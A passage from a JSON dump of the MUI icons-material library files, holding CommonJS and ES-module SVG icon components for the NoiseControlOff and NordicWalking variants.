4.07V2.05c-.33-.03-.66-.05-1-.05s-.67.02-1 .05v2.02c.33-.04.66-.07 1-.07s.67.03 1 .07m-2 15.86v2.02c.33.03.66.05 1 .05s.67-.02 1-.05v-2.02c-.33.04-.66.07-1 .07s-.67-.03-1-.07m8.51-5.19 1.97.45c.21-.63.36-1.28.44-1.95l-1.96-.45c-.07.68-.23 1.33-.45 1.95m.45-3.53 1.96-.45c-.08-.67-.23-1.33-.44-1.95l-1.97.45c.22.62.38 1.27.45 1.95m-2.38 6.52 1.58 1.26c.47-.48.88-1 1.25-1.56l-1.58-1.26c-.36.56-.78 1.09-1.25 1.56M6.79 20.52q.855.525 1.8.87l.87-1.81q-.96-.33-1.8-.87zm7.75-.94.87 1.81c.63-.23 1.24-.52 1.8-.87l-.87-1.81q-.84.54-1.8.87M3.6 17.42c.36.56.78 1.09 1.25 1.56l1.58-1.26c-.48-.47-.89-.99-1.24-1.57z\"\n}, \"2\")], 'NoiseAwareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseControlOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c1.44 0 2.79.38 3.95 1.05L17.4 3.6C15.85 2.59 13.99 2 12 2s-3.85.59-5.41 1.59l1.45 1.45C9.21 4.38 10.56 4 12 4m8 8c0 1.44-.38 2.79-1.05 3.95l1.45 1.45c1.01-1.55 1.6-3.41 1.6-5.4s-.59-3.85-1.59-5.41l-1.45 1.45C19.62 9.21 20 10.56 20 12m-8 8c-1.44 0-2.79-.38-3.95-1.05L6.6 20.4C8.15 21.41 10.01 22 12 22s3.85-.59 5.41-1.59l-1.45-1.45C14.79 19.62 13.44 20 12 20m-8-8c0-1.44.38-2.79 1.05-3.95L3.59 6.59C2.59 8.15 2 10.01 2 12s.59 3.85 1.59 5.41l1.45-1.45C4.38 14.79 4 13.44 4 12m7.5-6C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\")], 'NoiseControlOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseControlOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c1.44 0 2.79.38 3.95 1.05L17.4 3.6C15.85 2.59 13.99 2 12 2s-3.85.59-5.41 1.59l1.45 1.45C9.21 4.38 10.56 4 12 4m8 8c0 1.44-.38 2.79-1.05 3.95l1.45 1.45c1.01-1.55 1.6-3.41 1.6-5.4s-.59-3.85-1.59-5.41l-1.45 1.45C19.62 9.21 20 10.56 20 12m-8 8c-1.44 0-2.79-.38-3.95-1.05L6.6 20.4C8.15 21.41 10.01 22 12 22s3.85-.59 5.41-1.59l-1.45-1.45C14.79 19.62 13.44 20 12 20m-8-8c0-1.44.38-2.79 1.05-3.95L3.59 6.59C2.59 8.15 2 10.01 2 12s.59 3.85 1.59 5.41l1.45-1.45C4.38 14.79 4 13.44 4 12m7.5-6C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\")], 'NoiseControlOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseControlOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c1.44 0 2.79.38 3.95 1.05L17.4 3.6C15.85 2.59 13.99 2 12 2s-3.85.59-5.41 1.59l1.45 1.45C9.21 4.38 10.56 4 12 4m8 8c0 1.44-.38 2.79-1.05 3.95l1.45 1.45c1.01-1.55 1.6-3.41 1.6-5.4s-.59-3.85-1.59-5.41l-1.45 1.45C19.62 9.21 20 10.56 20 12m-8 8c-1.44 0-2.79-.38-3.95-1.05L6.6 20.4C8.15 21.41 10.01 22 12 22s3.85-.59 5.41-1.59l-1.45-1.45C14.79 19.62 13.44 20 12 20m-8-8c0-1.44.38-2.79 1.05-3.95L3.59 6.59C2.59 8.15 2 10.01 2 12s.59 3.85 1.59 5.41l1.45-1.45C4.38 14.79 4 13.44 4 12m7.5-6C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\")], 'NoiseControlOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseControlOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c1.44 0 2.79.38 3.95 1.05L17.4 3.6C15.85 2.59 13.99 2 12 2s-3.85.59-5.41 1.59l1.45 1.45C9.21 4.38 10.56 4 12 4m8 8c0 1.44-.38 2.79-1.05 3.95l1.45 1.45c1.01-1.55 1.6-3.41 1.6-5.4s-.59-3.85-1.59-5.41l-1.45 1.45C19.62 9.21 20 10.56 20 12m-8 8c-1.44 0-2.79-.38-3.95-1.05L6.6 20.4C8.15 21.41 10.01 22 12 22s3.85-.59 5.41-1.59l-1.45-1.45C14.79 19.62 13.44 20 12 20m-8-8c0-1.44.38-2.79 1.05-3.95L3.59 6.59C2.59 8.15 2 10.01 2 12s.59 3.85 1.59 5.41l1.45-1.45C4.38 14.79 4 13.44 4 12m7.5-6C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\")], 'NoiseControlOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseControlOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c1.2 0 2.33.26 3.35.74.36.17.79.12 1.07-.17l.06-.06c.47-.47.35-1.29-.25-1.57C14.95 2.34 13.51 2 12 2s-2.95.34-4.24.94c-.6.28-.72 1.1-.25 1.57l.06.06c.28.28.71.34 1.07.17C9.67 4.26 10.8 4 12 4m8 8c0 1.2-.26 2.33-.74 3.35-.17.36-.12.79.17 1.07l.06.06c.47.47 1.29.35 1.57-.25.6-1.28.94-2.72.94-4.23s-.34-2.95-.94-4.24c-.28-.6-1.1-.72-1.57-.25l-.06.06c-.28.28-.34.71-.17 1.07.48 1.03.74 2.16.74 3.36m-8 8c-1.2 0-2.33-.26-3.35-.74-.36-.17-.79-.12-1.07.17l-.06.06c-.47.47-.35 1.29.25 1.57 1.28.6 2.72.94 4.23.94s2.95-.34 4.24-.94c.6-.28.72-1.1.25-1.57l-.06-.06c-.28-.28-.71-.34-1.07-.17-1.03.48-2.16.74-3.36.74m-8-8c0-1.2.26-2.33.74-3.35.17-.36.12-.79-.17-1.07l-.06-.07c-.47-.47-1.28-.35-1.57.25C2.34 9.05 2 10.49 2 12s.34 2.95.94 4.24c.28.6 1.1.72 1.57.25l.06-.06c.28-.28.34-.71.17-1.07C4.26 14.33 4 13.2 4 12m7.5-6c-2.89 0-5.15 2.74-4.33 5.76.22.8.68 1.51 1.27 2.1l1.27 1.27c.15.16.28.38.4.71.41 1.13 1.38 2.04 2.58 2.16 1.25.12 2.37-.53 2.93-1.53.36-.65-.15-1.45-.9-1.45-.34 0-.68.16-.84.47-.16.29-.5.51-.88.51-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c.98 0 1.83.57 2.24 1.4.18.36.52.6.91.6.75 0 1.22-.79.89-1.46C14.82 7.04 13.28 6 11.5 6\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\")], 'NoiseControlOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseControlOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c1.2 0 2.33.26 3.35.74.36.17.79.12 1.07-.17l.06-.06c.47-.47.35-1.29-.25-1.57C14.95 2.34 13.51 2 12 2s-2.95.34-4.24.94c-.6.28-.72 1.1-.25 1.57l.06.06c.28.28.71.34 1.07.17C9.67 4.26 10.8 4 12 4m8 8c0 1.2-.26 2.33-.74 3.35-.17.36-.12.79.17 1.07l.06.06c.47.47 1.29.35 1.57-.25.6-1.28.94-2.72.94-4.23s-.34-2.95-.94-4.24c-.28-.6-1.1-.72-1.57-.25l-.06.06c-.28.28-.34.71-.17 1.07.48 1.03.74 2.16.74 3.36m-8 8c-1.2 0-2.33-.26-3.35-.74-.36-.17-.79-.12-1.07.17l-.06.06c-.47.47-.35 1.29.25 1.57 1.28.6 2.72.94 4.23.94s2.95-.34 4.24-.94c.6-.28.72-1.1.25-1.57l-.06-.06c-.28-.28-.71-.34-1.07-.17-1.03.48-2.16.74-3.36.74m-8-8c0-1.2.26-2.33.74-3.35.17-.36.12-.79-.17-1.07l-.06-.07c-.47-.47-1.28-.35-1.57.25C2.34 9.05 2 10.49 2 12s.34 2.95.94 4.24c.28.6 1.1.72 1.57.25l.06-.06c.28-.28.34-.71.17-1.07C4.26 14.33 4 13.2 4 12m7.5-6c-2.89 0-5.15 2.74-4.33 5.76.22.8.68 1.51 1.27 2.1l1.27 1.27c.15.16.28.38.4.71.41 1.13 1.38 2.04 2.58 2.16 1.25.12 2.37-.53 2.93-1.53.36-.65-.15-1.45-.9-1.45-.34 0-.68.16-.84.47-.16.29-.5.51-.88.51-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c.98 0 1.83.57 2.24 1.4.18.36.52.6.91.6.75 0 1.22-.79.89-1.46C14.82 7.04 13.28 6 11.5 6\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\")], 'NoiseControlOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseControlOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c1.44 0 2.79.38 3.95 1.05L17.4 3.6C15.85 2.59 13.99 2 12 2s-3.85.59-5.41 1.59l1.45 1.45C9.21 4.38 10.56 4 12 4m8 8c0 1.44-.38 2.79-1.05 3.95l1.45 1.45c1.01-1.55 1.6-3.41 1.6-5.4s-.59-3.85-1.59-5.41l-1.45 1.45C19.62 9.21 20 10.56 20 12m-8 8c-1.44 0-2.79-.38-3.95-1.05L6.6 20.4C8.15 21.41 10.01 22 12 22s3.85-.59 5.41-1.59l-1.45-1.45C14.79 19.62 13.44 20 12 20m-8-8c0-1.44.38-2.79 1.05-3.95L3.59 6.59C2.59 8.15 2 10.01 2 12s.59 3.85 1.59 5.41l1.45-1.45C4.38 14.79 4 13.44 4 12m7.5-6C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\")], 'NoiseControlOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseControlOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c1.44 0 2.79.38 3.95 1.05L17.4 3.6C15.85 2.59 13.99 2 12 2s-3.85.59-5.41 1.59l1.45 1.45C9.21 4.38 10.56 4 12 4m8 8c0 1.44-.38 2.79-1.05 3.95l1.45 1.45c1.01-1.55 1.6-3.41 1.6-5.4s-.59-3.85-1.59-5.41l-1.45 1.45C19.62 9.21 20 10.56 20 12m-8 8c-1.44 0-2.79-.38-3.95-1.05L6.6 20.4C8.15 21.41 10.01 22 12 22s3.85-.59 5.41-1.59l-1.45-1.45C14.79 19.62 13.44 20 12 20m-8-8c0-1.44.38-2.79 1.05-3.95L3.59 6.59C2.59 8.15 2 10.01 2 12s.59 3.85 1.59 5.41l1.45-1.45C4.38 14.79 4 13.44 4 12m7.5-6C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\")], 'NoiseControlOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseControlOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c1.44 0 2.79.38 3.95 1.05L17.4 3.6C15.85 2.59 13.99 2 12 2s-3.85.59-5.41 1.59l1.45 1.45C9.21 4.38 10.56 4 12 4m8 8c0 1.44-.38 2.79-1.05 3.95l1.45 1.45c1.01-1.55 1.6-3.41 1.6-5.4s-.59-3.85-1.59-5.41l-1.45 1.45C19.62 9.21 20 10.56 20 12m-8 8c-1.44 0-2.79-.38-3.95-1.05L6.6 20.4C8.15 21.41 10.01 22 12 22s3.85-.59 5.41-1.59l-1.45-1.45C14.79 19.62 13.44 20 12 20m-8-8c0-1.44.38-2.79 1.05-3.95L3.59 6.59C2.59 8.15 2 10.01 2 12s.59 3.85 1.59 5.41l1.45-1.45C4.38 14.79 4 13.44 4 12m7.5-6C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\")], 'NoiseControlOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoiseControlOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c1.44 0 2.79.38 3.95 1.05L17.4 3.6C15.85 2.59 13.99 2 12 2s-3.85.59-5.41 1.59l1.45 1.45C9.21 4.38 10.56 4 12 4m8 8c0 1.44-.38 2.79-1.05 3.95l1.45 1.45c1.01-1.55 1.6-3.41 1.6-5.4s-.59-3.85-1.59-5.41l-1.45 1.45C19.62 9.21 20 10.56 20 12m-8 8c-1.44 0-2.79-.38-3.95-1.05L6.6 20.4C8.15 21.41 10.01 22 12 22s3.85-.59 5.41-1.59l-1.45-1.45C14.79 19.62 13.44 20 12 20m-8-8c0-1.44.38-2.79 1.05-3.95L3.59 6.59C2.59 8.15 2 10.01 2 12s.59 3.85 1.59 5.41l1.45-1.45C4.38 14.79 4 13.44 4 12m7.5-6C9.02 6 7 8.02 7 10.5c0 1.22.49 2.41 1.35 3.27l1.36 1.36c.17.17.31.44.44.82C10.56 17.17 11.71 18 13 18c1.65 0 3-1.35 3-3h-2c0 .55-.45 1-1 1-.43 0-.81-.27-.95-.68-.15-.44-.4-1.08-.93-1.61l-1.36-1.36C9.28 11.87 9 11.19 9 10.5 9 9.12 10.12 8 11.5 8c1.21 0 2.22.86 2.45 2h2.02c-.25-2.25-2.16-4-4.47-4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"12.5\",\n  r: \"1.5\"\n}, \"1\")], 'NoiseControlOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NordicWalking.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 23h-1.5v-9H19zM7.53 14H6l-2 9h1.53zm5.97-8.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M9.8 8.9 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3C14.8 12 16.8 13 19 13v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.56-.89-1.68-1.25-2.65-.84L6 8.3V13h2V9.6z\"\n}), 'NordicWalking');"
  },
  {
    "path": "packages/mui-icons-material/lib/NordicWalking.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 23h-1.5v-9H19zM7.53 14H6l-2 9h1.53zm5.97-8.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M9.8 8.9 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3C14.8 12 16.8 13 19 13v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.56-.89-1.68-1.25-2.65-.84L6 8.3V13h2V9.6z\"\n}), 'NordicWalking');"
  },
  {
    "path": "packages/mui-icons-material/lib/NordicWalkingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 23h-1.5v-9H19zM7.53 14H6l-2 9h1.53zm5.97-8.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M9.8 8.9 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3C14.8 12 16.8 13 19 13v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.56-.89-1.68-1.25-2.65-.84L6 8.3V13h2V9.6z\"\n}), 'NordicWalkingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NordicWalkingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 23h-1.5v-9H19zM7.53 14H6l-2 9h1.53zm5.97-8.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M9.8 8.9 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3C14.8 12 16.8 13 19 13v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.56-.89-1.68-1.25-2.65-.84L6 8.3V13h2V9.6z\"\n}), 'NordicWalkingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NordicWalkingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.25 23c-.41 0-.75-.34-.75-.75V14H19v8.25c0 .41-.34.75-.75.75M4.93 23c.35 0 .66-.24.73-.59L7.53 14H6l-1.8 8.09c-.1.47.25.91.73.91M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M14 23c.55 0 1-.45 1-1v-5.64c0-.55-.22-1.07-.62-1.45L12.9 13.5l.6-3c1.07 1.24 2.62 2.13 4.36 2.41.6.1 1.14-.38 1.14-.99 0-.49-.35-.91-.83-.98-1.53-.24-2.79-1.14-3.47-2.33l-1-1.6c-.56-.89-1.68-1.25-2.66-.84L7.22 7.78C6.48 8.1 6 8.82 6 9.62V12c0 .55.45 1 1 1s1-.45 1-1V9.6l1.8-.7-2.55 12.86c-.13.64.36 1.24 1.02 1.24.49 0 .91-.34 1.02-.81L10.9 15l2.1 2v5c0 .55.45 1 1 1\"\n}), 'NordicWalkingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NordicWalkingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.25 23c-.41 0-.75-.34-.75-.75V14H19v8.25c0 .41-.34.75-.75.75M4.93 23c.35 0 .66-.24.73-.59L7.53 14H6l-1.8 8.09c-.1.47.25.91.73.91M13.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M14 23c.55 0 1-.45 1-1v-5.64c0-.55-.22-1.07-.62-1.45L12.9 13.5l.6-3c1.07 1.24 2.62 2.13 4.36 2.41.6.1 1.14-.38 1.14-.99 0-.49-.35-.91-.83-.98-1.53-.24-2.79-1.14-3.47-2.33l-1-1.6c-.56-.89-1.68-1.25-2.66-.84L7.22 7.78C6.48 8.1 6 8.82 6 9.62V12c0 .55.45 1 1 1s1-.45 1-1V9.6l1.8-.7-2.55 12.86c-.13.64.36 1.24 1.02 1.24.49 0 .91-.34 1.02-.81L10.9 15l2.1 2v5c0 .55.45 1 1 1\"\n}), 'NordicWalkingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NordicWalkingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 23h-1.5v-9H19zM7.53 14H6l-2 9h1.53zm5.97-8.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M9.8 8.9 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3C14.8 12 16.8 13 19 13v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.56-.89-1.68-1.25-2.65-.84L6 8.3V13h2V9.6z\"\n}), 'NordicWalkingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NordicWalkingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 23h-1.5v-9H19zM7.53 14H6l-2 9h1.53zm5.97-8.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M9.8 8.9 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3C14.8 12 16.8 13 19 13v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.56-.89-1.68-1.25-2.65-.84L6 8.3V13h2V9.6z\"\n}), 'NordicWalkingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NordicWalkingTwoTone.js",
